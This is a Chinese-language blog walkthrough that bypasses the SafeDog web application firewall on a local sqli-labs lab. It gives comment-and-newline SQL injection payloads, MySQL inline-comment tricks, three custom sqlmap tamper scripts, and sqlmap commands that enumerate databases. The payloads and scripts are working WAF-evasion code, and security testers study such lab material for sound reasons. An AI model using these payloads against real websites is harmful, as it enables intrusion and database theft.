SQL注入绕过安全狗

huangxin0506 2024-8-3 572 8/3

1 WAF SQL注入绕WAF研究

    1.1 概念 

     WAF,全称:Web Application Firewall,也称为网站应用级入侵防御系统。 大白话的说,就是利用它内设的安全策略来为web应用程序提供保护的一款产品,那么对于我们来说,如果突破它的安全策略就显得尤为重要。 作为渗透测试人员都知道,在渗透的过程当中,最核心的就是构造自己的输入,然后分析目标返回的结果,从而判断出是否存在相应的问题。 那么WAF的基础检测机制也基于此——检测用户输入的内容,如果输入的内容中包含了一些危险字符,或者说有威胁性的字符,那么WAF就会对此进行拦截。 所以说,改变我们输入的内容形式,就是突破WAF的关键点。

SQL注入绕过安全狗

    1.2 介绍和分类

     WAF分为硬件防火墙和软件防火墙,其中硬件防火墙出自各大安全公司,价格昂贵,一般大公司才会购买;软件防火墙相对便宜,小公司使用较多

       现在国内互联网中常见的WAF软件有以下三种:

安全狗(更新缓慢容易绕过)

宝塔(免费版和收费版)

阿里云盾(阿里云服务器自带,也叫安骑士)

云waf(云锁,360安全云等)

2 sqli-labs靶机安全狗环境搭建

    2.1 安全狗下载  http://free.safedog.cn (选择网站安全狗Apache版(Windows))

    2.2 将下载好的安装包拖入目标靶场的虚拟机,这里建议使用window2008,window2003安装后apache会报错,我是以sqli-labs靶场为例进行操作

    2.3 打开安全狗exe文件前,先将phpstudy环境打开,否则安全狗没有apache环境无法安装

    2.4 安装后会提示需要服务名,在dos命令里面进入phpstudy的Apache的bin目录下,输入命令httpd.exe -k install -n apache2.4 创建Apache服务,将服务名填入即可

SQL注入绕过安全狗

    2.5 确认安全狗的网站安全狗插件已安装,防护总开关已开启

SQL注入绕过安全狗

    2.6 随意在靶场SQL注入,检测安全狗是否启动成功

SQL注入绕过安全狗

3 使用注释换行绕过安全狗(字符型,以sqli-labs-Less1为例

    3.1 注入 id=1' and 1=1 --+  会被拦截

SQL注入绕过安全狗

    3.2 发现注入 id=1' and 不会被拦截

SQL注入绕过安全狗

    3.3 注入  id=1' /*and 1=1 */--+  不会被拦截(说明安全狗会认为多行注释里的内容都是安全的)

SQL注入绕过安全狗

    3.4 注入  id=1' /*and 1=2 */--+ 不会被拦截,但是id=1' and 1=2 --+正常注入的话,页面是不会显示You are in...........,因为注释里的所有数据都不会被数据库解析

SQL注入绕过安全狗

    3.5 注入  id=1' --+%0a and 1=1 --+ 其中 --+ 是单行注释,尝试使用%0a换行进行操作,仍被拦截

SQL注入绕过安全狗

    3.6 注释--+、/**/和换行符%0a结合

     安全狗会先对and后面的内容进行检查,发现后面是一个多行注释便认为其是安全的,而我们在多行注释里添加换行,第一个 --+ 将前者 /* 注释,换行后第二个 --+ 将后者 /* 和 ' 都注释,只剩下 1=1 ,便能成功绕过安全狗

id=1' and--+ /*%0a 1=1 --+*/ 

SQL注入绕过安全狗

        也可以直接将and放入多行注释中,也可以成功绕过

id=1' --+ /*%0a and 1=1 --+*/ 

SQL注入绕过安全狗

    3.7 编写绕过安全狗sqlmap脚本

     打开burp suite监听(SQLmap使用时是自己的uagent,防止安全狗进行检测 使用随机uagent     --random-agent)

sqlmap -u http://192.168.174.128/Less-1/?id=1 --proxy "http://127.0.0.1:8080" --dbs --random-agent --batch

SQL注入绕过安全狗

     尝试使用base64decode.py进行base64编码绕过

sqlmap -u http://192.168.174.128/Less-1/?id=1 --proxy "http://127.0.0.1:8080" --dbs  --tamper=base64encode --random-agent --batch

SQL注入绕过安全狗

SQL注入绕过安全狗

     发现不能绕过安全狗

SQL注入绕过安全狗

     以base64encode.py为模板创建dog_waf.py

SQL注入绕过安全狗

     根据  id=1' --+ /*%0a and 1=1 --+*/  vim打开编辑,i进行插入dog_waf.py脚本,esc退出编辑,:wq保存(权限不够,可以添加sudo)

#!/usr/bin/env python

"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Bypass SafeDog

    """

    return '--+ /*%0a '+payload+'*/' if payload else payload

# id=1' --+ /*%0a and 1=1 --+*/ 

SQL注入绕过安全狗

sqlmap脚本注入成功绕过安全狗

sqlmap -u http://192.168.174.128/Less-1/?id=1 --dbs --tamper=dog_waf --random-agent --batch

SQL注入绕过安全狗

SQL注入绕过安全狗

4 使用类联注释和换行绕过安全狗(数字型,以sqli-labs-Less2为例)

       4.1 如果非字符型时,就不需要闭合单引号和注释末尾的内容,此时注入变为  id=1 --+ /*%0a and 1=1 */ ,分行后末尾多了一个 */ ,虽然能绕过安全狗,但是注入会报错

SQL注入绕过安全狗

     4.2  类联注释(不写版本号也可以被解析)

select 1 /*!50000 and 1=1*/; 结果输出为1

select 1 /*!50000 and 1=2*/;结果输出为0 ,类联注释生效   

        先有/*!*/代表我们写的是类联注释,50000代表版本号5.00.00,/*!50000 and 1=1*/意思是如果MySQL版本号大于5.00.00就执行后面的内容

SQL注入绕过安全狗

     4.3 类联注释 /*!*/ 、注释 --+ 和换行符 %0a 结合

     安全狗发现后面是一个类联注释便认为其是安全的,而我们在类联注释里添加换行,使用 --+ 将中间的 /*  注释,换行后前者/*! 和后者*/正好形成类联注释,便能成功绕过安全狗

id=1 /*!50000-- qwe/*%0a and 1=1*/

SQL注入绕过安全狗

    4.4 编写绕过安全狗sqlmap脚本

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Bypass SafeDog

    """
    if '--' in payload:
        payload = payload.split('--')[0]

    return '/*!50000-- qwe/*%0a'+payload+'*/' if payload else payload

    SQL注入绕过安全狗

     4.5 sqlmap脚本注入成功绕过安全狗

sqlmap -u http://192.168.174.128/Less-2/?id=1 --dbs --tamper=dogint_waf --random-agent --batch

SQL注入绕过安全狗

     4.6 这里将上文3的脚本经行修改也是可以使用sqlmap绕过安全狗

#!/usr/bin/env python

"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    """
    Bypass SafeDog

    """
    if '--' in payload:
        payload = payload.split('--')[0]

    return '-- qwe/*%0a'+payload+'-- qwe*/' if payload else payload

# id=1' --+ /*%0a and 1=1 --+*/ 

     成功绕过安全狗

sqlmap -u http://192.168.174.128/Less-2/?id=1 --dbs --tamper=dog_waf --random-agent --batch

SQL注入绕过安全狗

5 总结

    针对于以上使用注释和换行相结合绕过waf的试验过程中,有以下几点需要注意:

      5.1 在自己手动测试绕过waf时,使用 --+ /*%0a (payload) --+*/ 格式针对于字符型和结尾可以省略, /*!50000--+/*%0a (payload) */ 格式针对于数字型和结尾需要保留

      5.2 而在使用sqlmap经行测试时,发现以两种形式编写的脚本都可以任意替换使用,原因应该是sqlmap只是需要绕过waf,而其余的操作sqlmap会使用不同类型的payload进行判断

      5.3 在sqlmap中运行脚本时,针对于单行注释时,还是尽量避免使用 --+ 注释,虽然+会转换为空格,但是有些时候还是会造成意想不到错误,使用 -- qwe 更加保险稳妥

 

- THE END -

huangxin0506

8月05日23:47

最后修改:2024年8月5日
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论